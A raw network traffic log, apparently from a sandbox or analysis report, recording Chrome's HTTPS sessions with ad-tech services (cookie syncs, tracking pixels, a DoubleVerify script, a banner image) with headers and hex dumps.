424	192.168.2.4	50294	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	684	OUT	GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: checkForPermission=ok
2024-04-27 22:42:16 UTC	660	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:16 GMT location: https://pixel.rubiconproject.com/tap.php?v=183462&nid=4114&put=AAERJ07MWv8AABVaVp3HVQ&expires=30&gdpr=0 Server: gunicorn set-cookie: bito=AAERJ07MWv8AABVaVp3HVQ; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:16 GMT; Path=/; SameSite=None; Secure set-cookie: bitoIsSecure=ok; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:16 GMT; Path=/; SameSite=None; Secure set-cookie: checkForPermission=""; Domain=bidr.io; expires=Thu, 01 May 2008 00:00:00 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.4	50297	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	720	OUT	GET /ecm3?id=LVIOSA1W-7-6DCM&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:16 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: R29Q7C9JT2R6NS8BJ0TE Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.4	50296	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	747	OUT	GET /cksync.php?type=rbcn&ovsid=LVIOSA1W-7-6DCM&gdpr=0&gdpr_consent=undefined HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8
2024-04-27 22:42:16 UTC	623	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r=LVIOSA1W-7-6DCM~~1;Expires=Thu, 24 Oct 2024 22:42:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:16 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:16 GMT Connection: close
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:16 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.4	50293	52.201.108.5	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	1363	OUT	GET /track/mntrjsAssessed?dHNjPTIwMjQtMDQtMjdUMjIlM0E0MiUzQTE0Ljg0OFomdHNvPS0yJnNucD02M0pmWWtJOSZ2ZXI9Mi4xMS4wJnN6ZT0xNTc5NCZzZXM9Mjk3NmUwNDgtY2JmYi00YjI5LTk3MGQtNjY4MTkwMmM3Y2IxJnBydmNlPXRydWUmaWZyPXRydWUmaG9zPXRydWUmaXNmPXRydWUmb3B0PWZhbHNlJnB1cmw9aHR0cHMlM0ElMkYlMkZ3d3cueWFob28uY29tJTJGJmF3bT0zMDAmYWhtPTI1MCZkc3c9MTI4MCZkc2g9OTg0Jm1vYj1mYWxzZSZ0YWI9ZmFsc2UmYWxzPTI2MzImdDA9MCZ0MTA9MCZ0MjA9MCZ0MjU9MCZ0MzA9MCZ0MzM9MCZ0NDA9MCZ0NTA9MCZ0NjA9MCZ0NjY9MCZ0NzA9MCZ0NzU9MCZ0ODA9MCZ0OTA9MCZ0MTAwPTAmZGN2cz10cnVlJmhiZj0wJnNlcT0xJmVyZG09MTcxNDI1NzczMDk4OTYzNiZlc3RlPWh0dHBzJTNBJTJGJTJGd3d3LnlhaG9vLmNvbSUyRiZlcG1udD01Njc0Mjc1ODYmZXN2cj04JmVpaWQ9QUJBakgwaXpjNmNQRTJFSTAzM29ON3QyX2R5NyZlcHRucj04JmVsaT0yMTE4MDI3OTgyNCZlaW89MTAxNjc3MzI0MyZlZG5pZD01Njc0Mjc1ODYm HTTP/1.1 Host: a.a47b.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	94	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.4	50300	52.7.87.144	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	783	OUT	GET /d/sync/cookie/generic?https://pixel.rubiconproject.com/tap.php?v=17149&nid=2861&put=${ADELPHIC_CUID}&expires=30&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
2024-04-27 22:42:16 UTC	511	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:16 GMT Location: https://pixel.rubiconproject.com/tap.php?v=17149&nid=2861&put=f10e083f-54cc-4ce5-aa07-8210352e586a&expires=30&gdpr=0&us_privacy=1YNN Set-Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290; Path=/; Domain=ipredictive.com; Expires=Sun, 27 Apr 2025 22:42:16 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: f7077e05-c4b1-4d15-bd53-82c756c64c74 Content-Length: 175 Connection: Close
2024-04-27 22:42:16 UTC	175	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 31 37 31 34 39 26 61 6d 70 3b 6e 69 64 3d 32 38 36 31 26 61 6d 70 3b 70 75 74 3d 66 31 30 65 30 38 33 66 2d 35 34 63 63 2d 34 63 65 35 2d 61 61 30 37 2d 38 32 31 30 33 35 32 65 35 38 36 61 26 61 6d 70 3b 65 78 70 69 72 65 73 3d 33 30 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://pixel.rubiconproject.com/tap.php?v=17149&nid=2861&put=f10e083f-54cc-4ce5-aa07-8210352e586a&expires=30&gdpr=0&us_privacy=1YNN">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	50299	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	719	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:16 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: AR74X571C7MVEB6E8EWK Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:16 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:16 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	50167	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	756	OUT	GET /w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:16 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	50301	34.117.228.201	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	1950	OUT	GET /visit.js?gdpr=&gdpr_consent=&flvr=0&ttmms=1447&ttfrms=32&brid=3&brver=117.0.0.0&bridua=3&bds=1&tstype=128&eparams=DC4FC%3Dl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETauU2%3F4r92%3A%3Fl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar23%40FETbpTauTau&srcurlD=0&aUrlD=0&ssl=https:&dfs=1053&ddur=2337&uid=1714257734970587&jsCallback=dvCallback_1714257734970223&dvtagver=6.1.src&navUa=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&htmlmsging=1&chro=1&hist=1&winh=250&winw=300&wouh=984&wouw=1280&scah=984&scaw=1280&jsver=5877&tgjsver=5877&lvvn=28&m1=15&refD=3&referrer=about%3Asrcdoc&sfe=1&fcifrms=25&brh=1&dvp_epl=347&noc=4&nav_pltfrm=Win32&ctx=31263374&cmp=31278923&sid=7916392&plc=386942594&crt=212924006&bt [TRUNCATED] Host: tps.doubleverify.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	232	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0 Expires: 04/26/2024 22:42:16 Pragma: no-cache Timing-Allow-Origin: *
2024-04-27 22:42:16 UTC	620	IN	Data Raw: 32 36 30 0d 0a 74 72 79 7b 76 61 72 20 64 76 5f 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 5f 64 76 5f 77 69 6e 20 7c 7c 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 5f 64 76 5f 77 69 6e 3b 20 64 76 5f 77 69 6e 5b 27 64 76 43 61 6c 6c 62 61 63 6b 5f 31 37 31 34 32 35 37 37 33 34 39 37 30 32 32 33 27 5d 28 24 64 76 2c 77 69 6e 64 6f 77 2c 27 32 31 34 39 64 62 64 31 37 63 32 34 34 39 61 36 62 66 38 65 33 61 39 33 34 30 33 30 37 32 37 35 27 2c 27 74 70 73 63 2d 75 65 31 2e 64 6f 75 62 6c 65 76 65 72 69 66 79 2e 63 6f 6d 27 2c 7b 22 63 65 22 3a 7b 22 64 64 74 22 3a 31 2c 22 64 74 22 3a 31 7d 7d 29 3b 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 76 61 72 20 69 6d 61 67 65 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 Data Ascii: 260try{var dv_win = window._dv_win \|\| window.parent._dv_win; dv_win['dvCallback_1714257734970223']($dv,window,'2149dbd17c2449a6bf8e3a9340307275','tpsc-ue1.doubleverify.com',{"ce":{"ddt":1,"dt":1}});}catch(e){try{var image=window.document.createElement('

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	50303	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	971	OUT	GET /sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/images/DISPLAY_HON_FMC_MY24_PROLOGUE_PRODUCT_LAUNCH_GENERAL_BRAND_BRD_LEARNMORE_HTML_DESKTOP_300x250_CAMPAIGN_atlas_NP_1.jpg?1704839638882 HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	824	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 115000 X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 01:36:00 GMT Expires: Sat, 26 Apr 2025 01:36:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 27 Mar 2024 15:52:48 GMT Content-Type: image/jpeg Age: 162376 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:16 UTC	431	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0b 08 08 0a 08 07 0b 0a 09 0a 0d 0c 0b 0d 11 1c 12 11 0f 0f 11 22 19 1a 14 1c 29 24 2b 2a 28 24 27 27 2d 32 40 37 2d 30 3d 30 27 27 38 4c 39 3d 43 45 48 49 48 2b 36 4f 55 4e 46 54 40 47 48 45 ff db 00 43 01 0c 0d 0d 11 0f 11 21 12 12 21 45 2e 27 2e 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 ff c2 00 11 08 08 00 08 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff c4 00 1a 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 f9 f5 21 8b 8e 56 Data Ascii: JFIFC")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEC!!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"!V
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: b7 84 5e 92 b6 a6 44 52 d6 a5 65 8a cb 34 c7 7a 08 45 22 62 d4 c5 80 8a 8b 16 ac 99 ed 16 ce a2 2d 03 1d aa 95 89 59 4a ca a2 d1 90 ac 5a 0a de 92 64 86 6c a7 1c 25 c7 5b d7 51 13 14 48 8b 56 c0 0b 40 d8 9c 37 ce ad 5c 83 1a 6a 65 cb 8c 7e 97 1b 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 f9 76 b6 a6 53 35 b1 6b 46 59 6b 33 73 59 02 65 09 92 ab ad 23 28 8a e4 a0 5a 53 15 32 63 b2 2a 9a 80 b6 98 99 51 35 21 2b 98 98 93 2d e9 93 3a 89 49 11 38 ec 88 89 48 8b 49 12 81 49 a8 98 bd 55 9a b1 59 91 45 aa 54 52 01 6a c9 78 09 9a 8c 99 31 df 3a d8 ae 19 88 a4 c5 67 a5 ac 7e 97 1b 80 00 00 00 00 00 00 00 00 Data Ascii: ^DRe4zE"b-YJZdl%[QHV@7\je~vS5kFYk3sYe#(ZS2c*Q5!+-:I8HIIUYETRjx1:g~
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 3f 31 53 2f 43 8f 5e 05 f1 3a 63 ad d9 f3 7d 6f 3e 7d 5e 0e 76 a7 0d 74 35 75 dd 55 cd 4c 3b 77 b9 f8 71 f2 d7 6f 9d ad c9 b9 ec 64 d0 ea 4d d7 5f d2 db 1b f1 7c df 75 e6 7b 71 e4 c6 fe 87 a3 39 31 66 c3 ba b6 3c 89 4c 9a d9 2c cd 8e f8 96 76 35 36 72 eb 63 dd e7 f9 b5 d9 d6 b6 cf 3b ce cb 92 bd 5a 38 7d 1f 2a 73 8e 1f ae f3 35 cd cf b7 b9 e8 ce 9e 3d dd 2c dd 58 cb 97 4a 6c d3 63 0b 74 39 5b 5c 6e f6 8e ce af 2d 6b 73 3b 5e 7f d7 37 b2 73 f6 37 cf 26 1b e1 ba ca c5 65 ea df 9d b9 8c 6c 7a 8f 39 d6 e7 db dc f9 2f 57 1e 5e ff 00 3f cd bb a5 d3 15 b7 a3 d6 97 ec 03 dd c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?1S/C^:c}o>}^vt5uUL;wqodM_\|u{q91f<L,v56rc;Z8}*s5=,XJlct9[\n-ks;^7s7&elz9/W^?
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e5 cd ae 66 6c eb 67 97 da cb 97 27 35 af 38 e4 dc d2 d9 9b ea df 5b a9 f4 be 3e 2b b5 bb f8 f6 9a 97 b9 cd 4a d2 6b 1b 25 1a 4d 99 dc 32 57 59 c1 af bd 49 bf 29 bf b5 ca f2 fd 6e ef 4f 89 d6 ed e3 dd 8c 53 ae 1b 7b 3c e2 f4 a9 a7 b0 9b 74 c5 58 ef 72 75 f5 66 31 57 2d bd 3e 6d 5a ec 59 ac 57 d4 a5 74 73 f3 2c 9b 58 76 72 4d f3 f3 67 e6 af 57 2f 9f d6 c6 bd 16 bf 0c bd ba f0 f6 65 e8 d3 8f 86 74 f4 75 f3 55 c7 4f 51 9b c9 47 1e fe bf 53 81 6e 1d fd c7 99 fa 1e 8e 3d 3f 2b a6 7c 7b c5 bb dc 3e ef 1e 9d 9c d8 de 3e d3 86 aa fb 60 f7 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: flg'58[>+Jk%M2WYI)nOS{<tXruf1W->mZYWts,XvrMgW/etuUOQGSn=?+\|{>>`
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 07 e7 0b ea 6a e7 cf d4 c7 8e 5b a5 66 b8 b9 b5 b6 75 bb 71 ea 72 33 e9 eb b6 e6 8f 47 56 b4 f6 f4 3a 1d 39 4e 3e 86 95 e7 85 87 0e 3b 6e 4e a5 74 dc 9d 45 9b 91 ac b3 65 88 99 f2 60 cb ae 71 ab b5 a9 9e 9a d9 b1 66 e5 e8 ea 57 a1 c4 c3 b1 83 6f a0 bc ad 0f 47 e5 f5 8d 39 c9 86 b7 72 6a e7 ef e7 c7 7b 66 e7 d7 47 3c 46 b3 9a 21 d7 8d b0 30 73 ea dc d5 cd c7 a6 4b 6a e1 97 6f 16 3b 34 9a 66 b9 a6 3c f8 8c 4c c6 e9 31 93 2d 6d cd 4d ad e2 77 ba 39 64 c5 32 f2 c5 a9 b1 1a 94 db c5 37 fa 20 77 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f 9d 71 eb 53 97 1c 95 be 4e 98 c1 1b 59 1d 74 Data Ascii: j[fuqr3GV:9N>;nNtEe`qfWoG9rj{fG<F!0sKjo;4f<L1-mMw9d27 wqSNYt
